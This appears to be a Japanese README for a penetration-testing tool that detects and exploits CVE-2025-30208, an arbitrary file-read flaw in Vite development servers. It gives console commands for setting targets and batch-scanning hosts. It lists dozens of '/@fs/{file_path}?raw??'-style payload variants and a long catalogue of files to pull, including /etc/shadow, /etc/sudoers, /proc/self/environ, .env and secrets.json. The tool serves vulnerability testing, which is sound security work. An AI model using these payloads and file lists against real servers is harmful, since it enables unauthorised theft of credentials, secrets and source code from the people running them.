エンタープライズ向け機能を備えたCVE-2025-30208対応の高度な脆弱性スキャナー
Vite任意ファイル読み取り脆弱性検出のためのプロフェッショナルペネトレーションテストツール
🚀 クイックスタート • 📋 機能 • 🔧 使い方 • 📊 例 • 🛡️ セキュリティ
これは、Vite開発サーバーのCVE-2025-30208脆弱性を検出・悪用するために設計された包括的な脆弱性スキャナーです。この脆弱性は、Viteのファイルシステムエンドポイントを通じて任意のファイル読み取りアクセスを可能にし、機密構成ファイル、ソースコード、システム情報を露呈する可能性があります。
このツールは、保守性と拡張性を高めるモジュール式アーキテクチャを採用しています:
CVE-2025-30208.py - メインスキャナーアプリケーションpayloads.py - 高度なエクスプロイトペイロード(60以上のバリエーション)sensitive_files.py - 包括的な機密ファイルデータベース(200以上のファイル)html_template.py - 強化されたハッカー風HTMLレポートテンプレートpip3 install -r requirements.txt
python3 CVE-2025-30208.py
CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run
CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd
CVE-2025-30208 > test
CVE-2025-30208 > run
# 詳細出力のためにverboseモードを有効化
CVE-2025-30208 > verbose
CVE-2025-30208 > run
CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch
192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[Enterキーを2回押して終了]
CVE-2025-30208 > scan
# プロキシの設定
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080
# カスタムヘッダーの設定
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}
# レート制限の設定
CVE-2025-30208 > rate
Enter rate limit: 1.0
# 美しいHTMLレポートを生成
CVE-2025-30208 > pull
# レポート表示用のWebサーバーを起動
CVE-2025-30208 > web
# 特定のポートでWebサーバーを起動
CVE-2025-30208 > web 8081
# Webサーバーを停止
CVE-2025-30208 > web off
| コマンド | 説明 | 例 |
|---|---|---|
set <option> <value> | 設定オプションを指定 | set RHOST 192.168.1.100 |
show options | 現在の設定を表示 | show options |
edit | 対話型オプションエディター | edit |
run / exploit | 脆弱性テストを実行 | run |
batch | 複数ターゲットをバッチスキャン | batch |
scan | 機密ファイルを発見 | scan |
pull | 結果をHTML/JSONにエクスポート | pull |
web [on|off|port] | HTMLレポート用のWebサーバー | web 8080 |
save | セッション設定を保存 | save |
load | セッション設定を読み込み | load |
test | ターゲットへの接続性をテスト | test |
validate | 現在の設定を検証 | validate |
verbose | verboseモードの切り替え | verbose |
proxy | プロキシ設定を構成 | proxy |
headers | カスタムHTTPヘッダーを設定 | headers |
rate | レート制限を構成 | rate |
log | ログ情報を表示 | log |
help / ? | ヘルプを表示 | help |
exit / quit | ツールを終了 | exit |
| オプション | 説明 | デフォルト値 | 検証内容 |
|---|---|---|---|
RHOST | ターゲットホスト/IPアドレス | - | ホスト名/IP検証 |
RPORT | ターゲットポート番号 | - | ポート範囲(1-65535) |
FILEPATH | テストするファイルパス | etc/passwd | パス検証 |
PROXY | HTTP/HTTPSプロキシURL | - | URL形式検証 |
VERBOSE | verbose出力の有効化 | false | 真偽値検証 |
RATE_LIMIT | リクエスト間の遅延(秒) | 0.3 | 数値検証 |
THREADS | バッチスキャンのスレッド数 | 5 | 整数検証 |
TIMEOUT | リクエストタイムアウト(秒) | 5 | 整数検証 |
CUSTOM_HEADERS | カスタムHTTPヘッダー(JSON) | {} | JSON形式検証 |
スキャナーは現在、payloads.pyに整理された60以上の異なるペイロードバリエーションを使用しています:
/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url
/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8
/@fs/{file_path}?raw&vite&dev
/@fs/{file_path}?raw&vite&hot
/@fs/{file_path}?raw&vite&hmr
/@fs/{file_path}?raw&development
/@fs/{file_path}?raw&debug
/@fs/{file_path}?raw&esm
/@fs/{file_path}?raw&cjs
/@fs/{file_path}?raw&umd
/@fs/{file_path}?raw&js
/@fs/{file_path}?raw&ts
/@fs/{file_path}?raw&json
/@fs/{file_path}?raw&css
/@fs/{file_path}?raw&html
/app/{file_path}?raw??
/App/{file_path}?raw??
このツールは現在、sensitive_files.pyに整理された200以上の機密ファイルをテストします:
/etc/passwd - ユーザーアカウント情報/etc/shadow - 暗号化されたパスワードデータ/etc/services - ネットワークサービス/etc/hosts - ホスト名マッピング/etc/fstab - ファイルシステムテーブル/etc/ssh/sshd_config - SSHサーバー設定/etc/crontab - システムcronジョブ/etc/sudoers - sudo設定/proc/version - カーネルバージョン/proc/cpuinfo - CPU情報/proc/meminfo - メモリ情報/proc/self/environ - プロセス環境変数/proc/self/cmdline - プロセスコマンドライン/proc/net/tcp - TCP接続/proc/net/udp - UDP接続.env - 環境変数.env.local - ローカル環境.env.production - 本番環境config.json - アプリケーション設定settings.json - アプリケーション設定application.properties - Spring設定application.yml - YAML設定database.yml - データベース設定secrets.json - シークレット管理package.json - Node.js依存関係package-lock.json - ロックされた依存関係yarn.lock - Yarnロックファイルvite.config.js - Vite設定vite.config.ts - TypeScript Vite設定tsconfig.json - TypeScript設定webpack.config.js - Webpack設定next.config.js - Next.js設定nuxt.config.js - Nuxt.js設定angular.json - Angular設定vue.config.js - Vue.js設定rollup.config.js - Rollup設定eslint.config.js - ESLint設定prettier.config.js - Prettier設定jest.config.js - Jest設定babel.config.js - Babel設定tailwind.config.js - Tailwind CSS設定.git/config - Git設定.gitignore - Git無視ルール.gitattributes - Git属性.gitmodules - Gitサブモジュール.git/HEAD - 現在のブランチ.git/logs/HEAD - Gitログ.git/refs/heads/master - masterブランチ.git/refs/heads/main - mainブランチREADME.md - プロジェクトドキュメントCHANGELOG.md - 変更履歴LICENSE - ライセンス情報CONTRIBUTING.md - コントリビューションガイドラインAUTHORS - 著者情報TODO.md - TODOリストROADMAP.md - 開発ロードマップDockerfile - Docker設定docker-compose.yml - Docker Composedocker-compose.override.yml - オーバーライド設定.dockerignore - Docker無視ルールdocker-compose.prod.yml - 本番環境設定docker-compose.dev.yml - 開発環境設定nginx.conf - Nginx設定apache2.conf - Apache設定httpd.conf - HTTPデーモン設定.htaccess - Apacheアクセス制御web.config - IIS設定robots.txt - 検索エンジン指示sitemap.xml - サイト構造manifest.json - Webアプリマニフェストsw.js - Service Workerfirebase.json - Firebase設定firebase.rules - Firebaseセキュリティルール